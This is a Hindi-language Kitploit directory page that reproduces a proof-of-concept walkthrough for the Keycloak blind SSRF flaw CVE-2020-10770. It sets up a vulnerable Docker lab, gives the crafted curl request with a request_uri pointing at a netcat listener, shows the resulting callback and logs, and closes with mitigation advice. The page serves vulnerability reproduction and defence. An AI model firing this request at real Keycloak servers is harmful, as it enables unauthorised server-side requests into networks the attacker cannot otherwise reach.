Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-10770-keycloak-exploit-poc — चरण-दर-चरण मार्गदर्शिका जो Docker सेटअप, लिसनर कॉन्फ़िगरेशन, और शमन सलाह के साथ Keycloak ब्लाइंड SSRF भेद्यता (CVE-2020-10770) को पुनः उत्पन्न करने के लिए है। | Kitploit
उपकरण/GitHubGitHub/0xlyvio/cve-2020-10770-keycloak-exploit-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंग
GitHub0xlyvio/cve-2020-10770-keycloak-exploit-poc

CVE-2020-10770-keycloak-exploit-poc

चरण-दर-चरण मार्गदर्शिका जो Docker सेटअप, लिसनर कॉन्फ़िगरेशन, और शमन सलाह के साथ Keycloak ब्लाइंड SSRF भेद्यता (CVE-2020-10770) को पुनः उत्पन्न करने के लिए है।

रिपॉजिटरी देखें
1 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Keycloak ब्लाइंड SSRF POC

यह ब्लाइंड SSRF (CVE-2020-10770) का परीक्षण कैसे करें, इसके बारे में एक चरण-दर-चरण वॉक-थ्रू है, जिसे Lauritz Holtmann ने खोजा और अपने ब्लॉग पोस्ट में प्रलेखित किया।
उन्होंने संक्षेप में यह भी बताया कि इसका परीक्षण कैसे करें। यह केवल एक अधिक विस्तृत व्याख्या है।

सभी श्रेय Lauritz को जाते हैं।

सेटअप

मैं यहाँ Mac OSX पर Docker का उपयोग करता हूँ।
मुझे तीन शेल की आवश्यकता थी, एक Keycloak इंस्टेंस चलाने के लिए, एक लिसनर के लिए और एक curl अनुरोध के लिए।

डिफेंडर

आपको <= 12.0.1 संस्करण वाला एक चालू Keycloak इंस्टेंस चाहिए।
आप निम्न कमांड के साथ एक परीक्षण इंस्टेंस शुरू कर सकते हैं।

root@kitploit:~
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1

ब्राउज़र में http://localhost:8080/auth/admin/ पर जाएँ और उपयोगकर्ता नाम "admin" और पासवर्ड "admin" के साथ लॉगिन करें।

बाईं ओर मेनू "Clients" पर स्विच करें। यह आपको Clients अवलोकन पर ले जाएगा।
Oauth2 client overview

दाईं ओर एक नया क्लाइंट बनाने के लिए "Create" पर क्लिक करें। यह आपको क्लाइंट निर्माण पृष्ठ पर ले जाएगा।
Oauth2 client creation

अपने Oauth2 क्लाइंट के लिए एक उचित "Client ID" चुनें। मैं यहाँ "blueteamoauth2client" के साथ जाता हूँ (यह आपका <Keycloak_Client_ID> है)। यदि आप कोई अन्य Client ID उपयोग करते हैं, तो आपको हमले के http अनुरोध में एक क्वेरी पैरामीटर बदलना होगा। क्लाइंट सेटअप को अंतिम रूप देने के लिए सेव पर क्लिक करें।
Oauth2 client creation

अब आप हमारे नए Oauth2 क्लाइंट की सेटिंग्स देखेंगे।
Oauth2 client creation

डिफेंडिंग भाग के लिए बस इतना ही।

अटैकर

लिसनर

आपको एक लिसनर की आवश्यकता है जो उस अनुरोध को स्वीकार कर रहा हो जिसे हम अपने SSRF के साथ ट्रिगर करना चाहते हैं। इसलिए ip और पोर्ट Keycloak सर्वर से पहुँच योग्य होना चाहिए।
आप उस स्थिति में localhost का उपयोग नहीं कर सकते, क्योंकि Keycloak के दृष्टिकोण से localhost कंटेनर के भीतर ही होगा।
Mac OS में ip पता प्राप्त करने के लिए आप उपयोग कर सकते हैं

root@kitploit:~
for iface in $(ifconfig  | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done

मैंने अपने होस्ट सिस्टम पर पोर्ट 4444 पर लिसनर शुरू करना चुना।

root@kitploit:~
nc -v -l 4444

हमला

एक अन्य शेल में आपको curl के साथ एक अनुरोध करना होगा। आपको इसे अपनी आवश्यकताओं के अनुसार बदलना होगा।

root@kitploit:~
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"

महत्वपूर्ण भाग हैं:

  • <Keycloak_host_or_ip> मेरे मामले में "localhost"।
  • <Keycloak_port> मेरे मामले में "8080"।
  • <Keycloak_realm> Keycloak द्वारा उपयोग किया जाने वाला realm। डिफ़ॉल्ट "master" है। मैं यहाँ यही उपयोग करता हूँ।
  • <Netcat_listener_ip> netcat लिसनर का ip पता।
  • <Netcat_listener_port> netcat लिसनर का पोर्ट।

तो मेरे मामले में क्वेरी है

root@kitploit:~
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"

परिणाम

netcat लिसनर में आपको कुछ इस तरह दिखाई देगा।

root@kitploit:~
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate

bash-3.2$

इसका मतलब है कि Keycloak इंस्टेंस ने आपके लिसनर पर एक http कॉल किया।

Keycloak लॉग में भी इसके बारे में प्रविष्टियाँ होंगी।

root@kitploit:~
13:37:28,855 WARN  [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
	at java.base/java.net.SocketInputStream.socketRead0(Native Method)
	at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN  [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request

शमन

इसे कम करने के लिए आप या तो कर सकते हैं।

  • Keycloak को संस्करण >= 12.0.2 में अपडेट करें।
  • सुनिश्चित करें कि Keycloak के सामने एक रिवर्स प्रॉक्सी हर उस अनुरोध को हटा दे जिसमें क्वेरी पैरामीटर "request_uri" शामिल है।

आभार

SSRF को खोजने और रिपोर्ट करने, ब्लॉग पोस्ट लिखने और यह कैसे करना है इसका प्रारंभिक संकेत देने के लिए Lauritz का धन्यवाद।
रिवर्स प्रॉक्सी में क्वेरी पैरामीटर "request_uri" वाले अनुरोधों को ब्लॉक करने के विचार के लिए Sebastian का धन्यवाद।

टूल डाउनलोड करें